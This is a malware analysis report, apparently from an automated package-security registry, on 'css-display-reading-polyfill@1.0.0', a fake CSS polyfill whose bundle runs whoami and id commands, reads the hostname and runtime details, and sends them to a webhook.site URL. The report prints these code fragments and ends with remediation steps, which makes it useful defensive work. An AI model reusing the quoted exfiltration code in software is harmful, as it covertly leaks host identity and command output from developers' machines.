registry / Data exfiltration / css-display-reading-polyfill
css-display-reading-polyfill
Polyfill for CSS display reading order
This report shows the evidence for css-display-reading-polyfill@1.0.0, the only known version.
AI Security Review
scanned 18d ago · by lpm-firewall-aiSource proves automatic reconnaissance and external data transmission when the bundle is evaluated, unrelated to CSS reading-order functionality. The manifest loading paths make this executable attack behavior rather than an inert payload carrier.
Static reason
One or more suspicious static signals were detected.
Trigger
Loading payload.bundle.min.js directly or through either Thunderbolt manifest.
Impact
Discloses host identity, command output, and runtime information to an unrelated external recipient.
Mechanism
An immediately invoked function collects hostname and runtime details, executes identity and system commands when child_process is available, and sends results using fetch and HTTPS.
Attack narrative
A consumer loading the manifest-selected bundle activates an immediate reconnaissance routine. In Node environments it executes username, identity, and system-information commands, then sends their output and host details to a fixed webhook. The empty main entrypoint limits ordinary import activation but does not neutralize the executable payload exposed through both manifests.
AI rationale
Source proves automatic reconnaissance and external data transmission when the bundle is evaluated, unrelated to CSS reading-order functionality. The manifest loading paths make this executable attack behavior rather than an inert payload carrier.
Evidence
payload.bundle.min.jsrb_wixui.thunderbolt.manifest.min.jsonrb_dsgnsys.thunderbolt.manifest.min.json
Network endpoints1
webhook.site/5e52603d-f802-4a6f-b91b-43c3a5b45b6b
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The bundle immediately runs a shell command to obtain the current username and forwards its output.
- The bundle collects the hostname and targets a fixed webhook.site URL.
- The sending function transmits collected data through HTTPS query parameters.
- Both Thunderbolt manifests select the bundle as model code, providing a loading path separate from the main entrypoint.
- The bundle also sends Node version, platform, process identifier, and timestamp upon evaluation.
Evidence against
- package.json has no lifecycle hooks or dependencies, and index.js exports an empty object.
- Static inspection does not establish that a consumer has loaded either manifest.
Behavioral surface
ChildProcessNetworkShell
HighEntropyStringsMinifiedUrlStrings
Source & flagged code
7 flagged · loading sourcepayload.bundle.min.jsView file
10L11: var wh = "https://webhook.site/5e52603d-f802-4a6f-b91b-43c3a5b45b6b";
L12: var site = "unknown";
L13: try { site = require("os").hostname(); } catch(e) {}
L14: var exfil = function(params) {
...
L23: var cp = null;
L24: try { cp = require("child_process"); } catch(e) {}
L25: try { if (!cp) cp = require("node:child_process"); } catch(e) {}
High
Sandbox Evasion Gated Capability
Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.
payload.bundle.min.jsView on unpkg · L1029var whoami = cp.execSync("id -un 2>/dev/null || whoami 2>/dev/null || echo unknown", {encoding: "utf8", timeout: 5000}).trim();
exfil("cmd=whoami&out=" + encodeURIComponent(whoami));
} catch(e) {}
try {
High
Ai Review Evidence
The bundle immediately runs a shell command to obtain the current username and forwards its output.
payload.bundle.min.jsView on unpkg · L2911var wh = "https://webhook.site/5e52603d-f802-4a6f-b91b-43c3a5b45b6b";
var site = "unknown";
try { site = require("os").hostname(); } catch(e) {}
var exfil = function(params) {
try {
High
Findings
7 High2 Medium2 Low
HighSandbox Evasion Gated Capabilitypayload.bundle.min.js
HighAi Review Evidencepayload.bundle.min.js
HighAi Review Evidencepayload.bundle.min.js
HighAi Review Evidencepayload.bundle.min.js
HighAi Review Evidencerb_wixui.thunderbolt.manifest.min.json
HighAi Review Evidencerb_dsgnsys.thunderbolt.manifest.min.json
HighAi Review Evidencepayload.bundle.min.js
MediumNetwork
MediumStructural Risk Force Deep Review
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to css-display-reading-polyfill@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing css-display-reading-polyfill@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.